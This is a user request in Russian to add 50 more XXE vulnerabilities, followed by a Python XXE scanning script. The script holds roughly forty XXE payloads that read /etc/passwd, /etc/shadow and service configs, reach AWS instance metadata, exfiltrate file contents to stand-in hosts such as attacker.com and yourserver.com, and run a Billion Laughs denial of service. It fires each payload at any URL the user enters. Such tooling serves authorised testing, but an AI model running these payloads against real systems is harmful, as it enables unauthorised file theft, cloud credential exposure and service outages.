добав еще в мой код еще 50 XXE уязвимостей
import requests
import sys
import urllib.parse

def scan_xxe(url):
    # Список различных XXE payloadов
    payloads = [
        # Существующие 24 payloadа из предыдущего скрипта
        {
            "description": "Попытка чтения /etc/passwd",
            "payload": '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Попытка чтения файла Windows system",
            "payload": '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" >]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "SSRF через XXE (HTTP-запрос)",
            "payload": '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://yourserver.com/exfiltrate" >]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Блочное раскрытие CData",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [  
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY % param1 "<!ENTITY exfiltrate SYSTEM 'http://yourserver.com/?%xxe;'>">
%param1;
%exfiltrate;
]>
<foo>&exfiltrate;</foo>'''
        },
        {
            "description": "Внедрение DTD и выполнение команд (Billion Laughs)",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>'''
        },
        {
            "description": "Попытка чтения конфигурации Spring (application.properties)",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///opt/tomcat/conf/application.properties" >
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Попытка доступа к метаданным AWS",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/" >
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Внедрение внешней сущности с использованием обратных слешей (для обхода фильтров)",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file://\\windows\\win.ini" >
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Использование UTF-16 кодировки",
            "payload": '''<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [  
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Использование URL-энкодинга",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///%65%74%63/%70%61%73%73%77%64" >
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Попытка чтения файла конфигурации Nginx",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/nginx/nginx.conf" >
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Чтение файла с использованием публичного URI",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Извлечение содержимого из локальной сети (LFI)",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/config.php" >
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Использование ENTITY REF для инъекции содержимого",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY data SYSTEM "file:///etc/hosts">
]>
<root>
  <data>&data;</data>
</root>'''
        },
        {
            "description": "Попытка чтения файла с использованием относительного пути",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "../secret.txt" >
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Использование ENTITY для экспорта содержимого в CDATA",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/hostname" >
]>
<data><![CDATA[&xxe;]]></data>'''
        },
        {
            "description": "Внедрение комментариев для обхода фильтров",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!--
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >
  -->
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Использование параметрических сущностей для обхода фильтров",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % remote SYSTEM "file:///etc/passwd">
  <!ENTITY % local "<!ENTITY exfiltrate SYSTEM 'http://yourserver.com/?%remote;'>">
  %local;
  %exfiltrate;
]>
<data>&exfiltrate;</data>'''
        },
        {
            "description": "Попытка чтения файла логов Apache",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/log/apache2/access.log" >
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Использование протокола FTP для exfiltrating данных",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "ftp://attacker.com/exfiltrate.txt" >
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Встроенный XXE с использованием ENTITY в нескольких уровнях",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY a SYSTEM "file:///etc/">
  <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<root>&a;b;</root>'''
        },
        {
            "description": "Использование ENTITY для внедрения XML-инструкций",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/issue">
]>
<data>&xxe;</data>'''
        },
        {
            "description": "Использование внешнего DTD для инъекции сущностей",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/external.dtd">
<foo>&xxe;</foo>'''
        },
        {
            "description": "Чтение JSON-файла конфигурации",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE config [
  <!ENTITY xxe SYSTEM "file:///etc/config.json">
]>
<config>&xxe;</config>'''
        },
        # Дополнительные 20 payloadов
        {
            "description": "Попытка чтения файла hosts на Windows",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<root>&xxe;</root>'''
        },
        {
            "description": "Попытка чтения файла passwd с использованием ENTITY-REF",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Использование ENTITY для внедрения содержимого в атрибут",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo attribute="&xxe;"></foo>'''
        },
        {
            "description": "Попытка загрузки внешнего DTD и внедрения сущности",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "http://attacker.com/external.dtd">
<data>&xxe;</data>'''
        },
        {
            "description": "Использование ENTITY для передачи данных в комментарии",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/issue">
]>
<data><!-- &xxe; --></data>'''
        },
        {
            "description": "Попытка чтения файла с использованием URL в протоколе file",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file://localhost/etc/passwd">
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Использование ENTITY для внедрения в текстовый узел",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<message>Hello &xxe;</message>'''
        },
        {
            "description": "Попытка чтения файла с использованием двойных точек и слешей",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///../../../../etc/passwd">
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Использование ENTITY для внедрения в CDATA-область",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<data><![CDATA[Hostname: &xxe;]]></data>'''
        },
        {
            "description": "Попытка чтения файла с использованием относительного пути и ENTITY",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "../../etc/passwd">
]>
<data>&xxe;</data>'''
        },
        {
            "description": "Использование ENTITY для внедрения содержимого в элементе",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE note [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<note>
  <to>&xxe;</to>
</note>'''
        },
        {
            "description": "Попытка чтения файла с использованием ENTITY внутри другого ENTITY",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY inner SYSTEM "file:///etc/hosts">
  <!ENTITY outer "&inner;">
]>
<data>&outer;</data>'''
        },
        {
            "description": "Использование ENTITY для инъекции в блоке обработки",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/issue">
]>
<data><?xml-stylesheet type="text/xsl" href="&xxe;"?></data>'''
        },
        {
            "description": "Попытка чтения файла конфигурации MySQL",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/mysql/my.cnf" >
]>
<foo>&xxe;</foo>'''
        },
        {
            "description": "Использование ENTITY для передачи данных через атрибут ID",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo id="&xxe;">Test</foo>'''
        },
        {
            "description": "Внедрение ENTITY внутри инструкции обработки",
            "payload": '''<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/issue">
]>
<data><?print &xxe;?></data>'''
        },
        {
            "description": "Попытка чтения файла конфигурации Docker",
            "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/docker/daemon.json" >
]>
<foo>&xxe;</foo>'''
        },
        # Дополнительные 20 payloadов завершены
    ]

    headers = {
        'Content-Type': 'application/xml',
    }

    vulnerable = False

    for idx, payload_struct in enumerate(payloads, start=1):
        payload = payload_struct["payload"]
        description = payload_struct["description"]
        print(f"\n[+] Тест {idx}: {description}")
        try:
            response = requests.post(url, data=payload, headers=headers, timeout=10)
            # Методы проверки уязвимости могут варьироваться
            # Примеры проверок:
            # - Поиск известной строки в ответе
            # - Поиск ошибок парсинга XML
            # - Иные подходы в зависимости от контекста

            # Пример 1: Проверка на наличие содержимого файла /etc/passwd
            if "root:" in response.text:
                print(f"    [+] Уязвимость XXE обнаружена с payload: {description}")
                vulnerable = True
                continue

            # Пример 2: Проверка на специфические строки, связанные с путями файлов
            specific_strings = [
                "/etc/hosts", "Windows", "system32", "apache2", "docker", "my.cnf",
                "application.properties", "config.php", "secret.txt", "config.json"
            ]
            for s in specific_strings:
                if s in response.text:
                    print(f"    [+] Уязвимость XXE обнаружена с payload: {description}")
                    vulnerable = True
                    break

            # Пример 3: Проверка на наличие DTD или специфических ошибок XML
            if "<!DOCTYPE" in response.text or "DOCTYPE" in response.content.decode(errors='ignore'):
                print(f"    [!] Возможный признак обработки DTD, дополнительная проверка требуется.")
                vulnerable = True
                continue

            # Пример 4: Проверка на наличие URL, использованных в SSRF
            if "yourserver.com/exfiltrate" in response.text or "attacker.com" in response.text:
                print(f"    [+] Уязвимость XXE обнаружена с payload: {description}")
                vulnerable = True
                continue

            # Пример 5: Проверка на наличие комментариев, содержащих данные
            if "&xxe;" in response.text:
                print(f"    [!] Возможно, данные переданы через комментарии или CDATA.")
                vulnerable = True
                continue

            print(f"    [-] Уязвимость XXE не обнаружена с данным payload.")
        except requests.exceptions.RequestException as e:
            print(f"    [!] Ошибка при запросе: {e}")
        except Exception as ex:
            print(f"    [!] Неожиданная ошибка: {ex}")

    if vulnerable:
        print("\n[+] Одно или несколько тестов обнаружили возможную уязвимость XXE.")
    else:
        print("\n[-] Уязвимость XXE не обнаружена с использованием предоставленных тестов.")

if __name__ == "__main__":
    target_url = input("Введите URL для сканирования XXE (например, https://example.com/api): ").strip()
    # Проверка корректности URL
    parsed_url = urllib.parse.urlparse(target_url)
    if not parsed_url.scheme or not parsed_url.netloc:
        print("[-] Некорректный URL. Пожалуйста, введите полный URL, включая схему (http:// или https://).")
        sys.exit(1)

    scan_xxe(target_url)